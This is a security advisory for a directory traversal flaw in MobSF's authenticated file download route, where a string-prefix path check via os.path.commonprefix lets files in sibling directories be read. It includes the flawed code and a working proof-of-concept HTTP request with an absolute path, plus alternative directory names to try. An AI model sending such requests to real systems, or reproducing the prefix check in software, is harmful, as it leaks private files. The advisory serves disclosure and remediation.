PYSEC-2026-1672

Summary

The GET /download/<filename> route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWDDIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWDDIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.

Details

def is_safe_path(safe_root, check_path):
    safe_root  = os.path.realpath(os.path.normpath(safe_root))
    check_path = os.path.realpath(os.path.normpath(check_path))
    return os.path.commonprefix([check_path, safe_root]) == safe_root

commonprefix compares raw strings, not path components. For:

safe_root  = /home/mobsf/.MobSF/downloads
check_path = /home/mobsf/.MobSF/downloads_bak/test.txt

the function returns True, incorrectly treating downloads_bak as inside downloads. Download handler:

# MobSF/views/home.py
@login_required
def download(request):
    root = settings.DWD_DIR
    filename = request.path.replace('/download/', '', 1)
    dwd_file = Path(root) / filename  # absolute 'filename' ignores 'root'
    if '../' in filename or not is_safe_path(root, dwd_file):
        return HttpResponseForbidden(...)
    ext = dwd_file.suffix
    if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():
        return file_download(dwd_file, ...)

If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed issafepath then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.

Which file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS

PoC

Prereqs: authenticated user; standard install. Assume:

settings.DWD_DIR = /home/mobsf/.MobSF/downloads

Prepare a sibling directory with the same string prefix and a test file:

mkdir -p /home/mobsf/.MobSF/downloads_bak
echo "test" > /home/mobsf/.MobSF/downloads_bak/test.txt

As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):

GET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1
Host: <HOST>
Cookie: sessionid=<YOUR_SESSION>

Other working sibling directory names (if present):

…/downloads.old/...
…/downloads_backup/...
…/downloads1/...
…/downloads-archive/...
…/downloads 2024/... (URL-encoded space: downloads%202024)

Impact

Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.